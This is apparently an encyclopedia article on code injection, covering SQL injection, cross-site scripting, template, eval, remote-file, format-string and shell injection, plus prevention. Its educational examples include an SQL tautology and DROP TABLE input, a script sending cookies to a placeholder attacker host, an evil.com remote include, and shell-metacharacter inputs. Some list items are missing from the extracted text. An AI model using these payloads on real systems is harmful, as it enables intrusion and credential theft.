Code injection

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Code injection is a computer security exploit where a program fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems, and the spread of malware.

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Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other program arguments. Injection flaws can be identified through source code examination [1] , Static analysis, or dynamic testing methods such as fuzzing. [2]

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection can be used maliciously for many purposes, including:

Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption. [3]

Code injections can occur on any type of program running with an interpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how you can see code injection first-hand is to use your browser's developer tools.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities. [4]

Benign and unintentional use

Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent. [5] [6] Code injection could, for example:

Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:

Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as a penetration test.

Preventing Code Injection

To prevent code injection problems, the person could use secure input and output handling strategies, such as:

The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injections of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

Examples

SQL injection

An SQL injection takes advantage of SQL syntax to inject malicious commands that can read or modify a database or compromise the meaning of the original query. [13]

For example, consider a web page that has two text fields which allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:

SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "('Password' OR '1'='1') in the Password field, then the resulting query will look like this:

SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'OR'1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run or even to load up and run external programs.

Assume a query with the following format:

SELECTUser.UserIDFROMUserWHEREUser.UserID=' " + UserID + " 'ANDUser.Pwd=' " + Password + " '

If an adversary has the following for inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

then the query will be parsed as:

SELECTUser.UserIDFROMUserWHEREUser.UserID='';DROPTABLEUser;--'AND Pwd = ''OR"='

The resulting User table will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.

Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as:

Very nice site!

However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data. [14]

Server Side Template Injection

Template engines are often used in modern web applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities [15] such as server-side Side Template Injections. While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name. Depending on the implementation of the web application, he could choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to remote code execution.

Dynamic evaluation vulnerabilities

An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call. [16] 

$myvar='somevalue';$x=$_GET['arg'];eval('$myvar = '.$x.';');

The argument of " eval " will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10;system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

PHP allows serialization and deserialization of whole objects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks. [17] Such an attack on Joomla was found in 2013. [18]

Remote file injection

Consider this PHP program (which includes a file specified by request):

<?php$color='blue';if(isset($_GET['color']))$color=$_GET['color'];require($color.'.php');

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.

Format specifier injection

Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

charuser_input[100];intint_in;charpassword[10]="Password1";printf("Enter an integer\n");scanf("%d",&int_in);printf("Please enter a string\n");fgets(user_input,sizeof(user_input),stdin);printf(user_input);// Safe version is: printf("%s", user_input);printf("\n");return0;

If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and print Password1 to the screen.

Shell injection

Shell injection (or command injection [19] ) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

# !/bin/tcsh# check arg outputs it matches if arg is oneif($1== 1)echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack. [20]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?phppassthru("/bin/funnytext ".$_GET['USER_INPUT']);

The passthru function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive): [21]

Shell featureUSER_INPUT valueResulting shell commandExplanation
Sequential execution; malicious_command/bin/funnytext ; malicious_commandExecutes funnytext, then executes malicious_command.
Pipelines | malicious_command/bin/funnytext | malicious_commandSends the output of funnytext as input to malicious_command.
Command substitution`malicious_command`/bin/funnytext `malicious_command`Sends the output of malicious_command as arguments to funnytext.
Command substitution$(malicious_command)/bin/funnytext $(malicious_command)Sends the output of malicious_command as arguments to funnytext.
AND list&& malicious_command/bin/funnytext && malicious_commandExecutes malicious_command iff funnytext returns an exit status of 0 (success).
OR list|| malicious_command/bin/funnytext || malicious_commandExecutes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection> ~/.bashrc/bin/funnytext > ~/.bashrcOverwrites the contents the .bashrc file with the output of funnytext.
Input redirection< ~/.bashrc/bin/funnytext < ~/.bashrcSends the contents of the .bashrc file as input to funnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.

See also

Related Research Articles

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References

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  2. ↑ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Archived from the original on 28 January 2016. Retrieved 19 December 2013.
  3. ↑ Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (January 2023). "Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations". Sensors. 23 (13): 6067. Bibcode:2023Senso..23.6067N. doi: 10.3390/s23136067 . ISSN   1424-8220. PMC   10346793 . PMID   37447915.
  4. ↑ "NVD - Statistics Search". web.nvd.nist.gov. Archived from the original on 15 December 2023. Retrieved 9 December 2016.
  5. ↑ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 18 September 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  6. ↑ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science. Vol. 6258. Berlin, Heidelberg: Springer. pp. 229–241. CiteSeerX   10.1.1.185.2152 . doi:10.1007/978-3-642-14706-7_18. ISBN   978-3-642-14705-0. ISSN   0302-9743.
  7. ↑ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog. 2 April 2013. Archived from the original on 25 December 2021. Retrieved 10 December 2016.
  8. ↑ "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Archived from the original on 11 November 2013. Retrieved 19 December 2013.
  9. ↑ Moertel, Tom (18 October 2006). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?". Tom Moertel's Blog. Archived from the original on 6 August 2013. Retrieved 21 October 2018.
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  11. ↑ "SQL Injection Prevention Cheat Sheet". OWASP. Archived from the original on 20 January 2012. Retrieved 10 December 2016.
  12. ↑ Philippaerts, Pieter; et al. (1 June 2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN   1094-9224. S2CID   10947780. Archived (PDF) from the original on 24 February 2021. Retrieved 21 October 2018.
  13. ↑ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021). "Long short-term memory on abstract syntax tree for SQL injection detection". IET Software. 15 (2): 188–197. doi:10.1049/sfw2.12018. ISSN   1751-8806. S2CID   233582569.
  14. ↑ Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009). Web Security Testing Cookbook . Sebastopol, CA: O'Reilly Media. p.  254. ISBN   978-0-596-51483-9. OCLC   297573828.
  15. ↑ "Server-Side Template Injection". PortSwigger Research. 5 August 2015. Archived from the original on 22 May 2022. Retrieved 22 May 2022.
  16. ↑ Christey, Steven M. (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Archived from the original on 13 November 2009. Retrieved 21 October 2018.
  17. ↑ "Unserialize function warnings". PHP.net. Archived from the original on 9 May 2015. Retrieved 6 June 2014.
  18. ↑ "Analysis of the Joomla PHP Object Injection Vulnerability". Archived from the original on 2 March 2013. Retrieved 6 June 2014.
  19. ↑ "Command Injection". OWASP. Archived from the original on 20 December 2013. Retrieved 19 December 2013.
  20. ↑ Douglas W. Jones, CS:3620 Notes, Lecture 4—Shell Scripts. Archived 24 September 2024 at the Wayback Machine , Spring 2018.
  21. ↑ "Command Injection - Black Hat Library". Archived from the original on 27 February 2015. Retrieved 27 February 2015.
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